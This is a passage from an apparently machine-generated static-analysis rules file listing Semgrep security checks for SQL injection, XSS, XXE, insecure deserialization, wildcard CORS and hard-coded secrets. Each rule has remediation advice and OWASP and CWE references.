javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli","id":"kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli","name":"kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.psycopg-sqli.psycopg-sqli)\n - [https://www.psycopg.org/docs/cursor.html#cursor.execute](https://www.psycopg.org/docs/cursor.html#cursor.execute)\n - [https://www.psycopg.org/docs/cursor.html#cursor.executemany](https://www.psycopg.org/docs/cursor.html#cursor.executemany)\n - [https://www.psycopg.org/docs/cursor.html#cursor.mogrify](https://www.psycopg.org/docs/cursor.html#cursor.mogrify)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.psycopg-sqli.psycopg-sqli","id":"python.aws-lambda.security.psycopg-sqli.psycopg-sqli","name":"python.aws-lambda.security.psycopg-sqli.psycopg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.psycopg-sqli.psycopg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint","id":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint","name":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in an aiopg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can create parameterized queries like so: 'cur.execute(\"SELECT %s FROM table\", (user_value,))'."},"help":{"markdown":"Detected string concatenation with a non-literal variable in an aiopg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can create parameterized queries like so: 'cur.execute(\"SELECT %s FROM table\", (user_value,))'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli)\n - [https://github.com/aio-libs/aiopg](https://github.com/aio-libs/aiopg)\n","text":"Detected string concatenation with a non-literal variable in an aiopg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can create parameterized queries like so: 'cur.execute(\"SELECT %s FROM table\", (user_value,))'."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli","id":"python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli","name":"python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CORS policy allows any origin (using wildcard '*'). This is insecure and should be avoided."},"help":{"markdown":"CORS policy allows any origin (using wildcard '*'). This is insecure and should be avoided.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.security.wildcard-cors.wildcard-cors)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://cwe.mitre.org/data/definitions/942.html](https://cwe.mitre.org/data/definitions/942.html)\n","text":"CORS policy allows any origin (using wildcard '*'). This is insecure and should be avoided."},"helpUri":"https://semgrep.dev/r/python.fastapi.security.wildcard-cors.wildcard-cors","id":"python.fastapi.security.wildcard-cors.wildcard-cors","name":"python.fastapi.security.wildcard-cors.wildcard-cors","properties":{"precision":"very-high","tags":["CWE-942: Permissive Cross-domain Policy with Untrusted Domains","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.security.wildcard-cors.wildcard-cors"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"UIWebView instances were observed where the baseURL is misconfigured as nil, which allows for origin abuse within the webview. In order to remove the effective origin, the application should explicitly set the baseURL to `about:blank` or similar."},"help":{"markdown":"UIWebView instances were observed where the baseURL is misconfigured as nil, which allows for origin abuse within the webview. In order to remove the effective origin, the application should explicitly set the baseURL to `about:blank` or similar.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-baseurl.swift-webview-config-base-url)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"UIWebView instances were observed where the baseURL is misconfigured as nil, which allows for origin abuse within the webview. In order to remove the effective origin, the application should explicitly set the baseURL to `about:blank` or similar."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-baseurl.swift-webview-config-base-url","id":"swift.webview.webview-baseurl.swift-webview-config-base-url","name":"swift.webview.webview-baseurl.swift-webview-config-base-url","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-baseurl.swift-webview-config-base-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret","id":"csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret","name":"csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The top level wildcard bindings $PREFIX leaves your application open to security vulnerabilities and give attackers more control over where traffic is routed. If you must use wildcards, consider using subdomain wildcard binding. For example, you can use \"*.asdf.gov\" if you own all of \"asdf.gov\"."},"help":{"markdown":"The top level wildcard bindings $PREFIX leaves your application open to security vulnerabilities and give attackers more control over where traffic is routed. If you must use wildcards, consider using subdomain wildcard binding. For example, you can use \"*.asdf.gov\" if you own all of \"asdf.gov\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-6.0)\n","text":"The top level wildcard bindings $PREFIX leaves your application open to security vulnerabilities and give attackers more control over where traffic is routed. If you must use wildcards, consider using subdomain wildcard binding. For example, you can use \"*.asdf.gov\" if you own all of \"asdf.gov\"."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings","id":"csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings","name":"csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using sudo in Dockerfiles. Running processes as a non-root user can help  reduce the potential impact of configuration errors and security vulnerabilities."},"help":{"markdown":"Avoid using sudo in Dockerfiles. Running processes as a non-root user can help  reduce the potential impact of configuration errors and security vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile)\n - [https://cwe.mitre.org/data/definitions/250.html](https://cwe.mitre.org/data/definitions/250.html)\n - [https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user)\n","text":"Avoid using sudo in Dockerfiles. Running processes as a non-root user can help  reduce the potential impact of configuration errors and security vulnerabilities."},"helpUri":"https://semgrep.dev/r/dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile","id":"dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile","name":"dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"help":{"markdown":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-exec.user-exec)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-exec.user-exec","id":"python.django.security.injection.code.user-exec.user-exec","name":"python.django.security.injection.code.user-exec.user-exec","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-exec.user-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"help":{"markdown":"Checks for outgoing connections to ftp servers. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request)\n - [https://www.codejava.net/java-se/ftp/connect-and-login-to-a-ftp-server](https://www.codejava.net/java-se/ftp/connect-and-login-to-a-ftp-server)\n - [https://commons.apache.org/proper/commons-net/apidocs/org/apache/commons/net/ftp/FTPClient.html](https://commons.apache.org/proper/commons-net/apidocs/org/apache/commons/net/ftp/FTPClient.html)\n","text":"Checks for outgoing connections to ftp servers. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request","id":"problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request","name":"problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using an arbitrary object ('$PARAMTYPE $PARAM') with Java RMI is an insecure deserialization vulnerability. This object can be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"help":{"markdown":"Using an arbitrary object ('$PARAMTYPE $PARAM') with Java RMI is an insecure deserialization vulnerability. This object can be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization)\n - [https://frohoff.github.io/appseccali-marshalling-pickles/](https://frohoff.github.io/appseccali-marshalling-pickles/)\n - [https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi](https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi)\n - [https://youtu.be/t_aw1mDNhzI](https://youtu.be/t_aw1mDNhzI)\n - [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)\n - [https://github.com/openjdk/jdk/blob/master/src/java.rmi/share/classes/sun/rmi/server/UnicastRef.java#L303C4-L331](https://github.com/openjdk/jdk/blob/master/src/java.rmi/share/classes/sun/rmi/server/UnicastRef.java#L303C4-L331)\n","text":"Using an arbitrary object ('$PARAMTYPE $PARAM') with Java RMI is an insecure deserialization vulnerability. This object can be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"helpUri":"https://semgrep.dev/r/java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization","id":"java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization","name":"java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted user input enters a dangerous API, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: `Encode.forHtml($VAR)`."},"help":{"markdown":"Untrusted user input enters a dangerous API, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: `Encode.forHtml($VAR)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss)\n - [https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)](https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS))\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Fstored](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Fstored)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Freflected](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Freflected)\n","text":"Untrusted user input enters a dangerous API, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: `Encode.forHtml($VAR)`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss","id":"java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss","name":"java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"help":{"markdown":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf](https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#xmlinputfactory-a-stax-parser](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#xmlinputfactory-a-stax-parser)\n","text":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","id":"java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","name":"java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret","id":"csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret","name":"csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a \"database/sql\" Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a \"database/sql\" Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.gosql-sqli.gosql-sqli)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n","text":"Detected string concatenation with a non-literal variable in a \"database/sql\" Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.gosql-sqli.gosql-sqli","id":"go.lang.security.audit.sqli.gosql-sqli.gosql-sqli","name":"go.lang.security.audit.sqli.gosql-sqli.gosql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.gosql-sqli.gosql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module 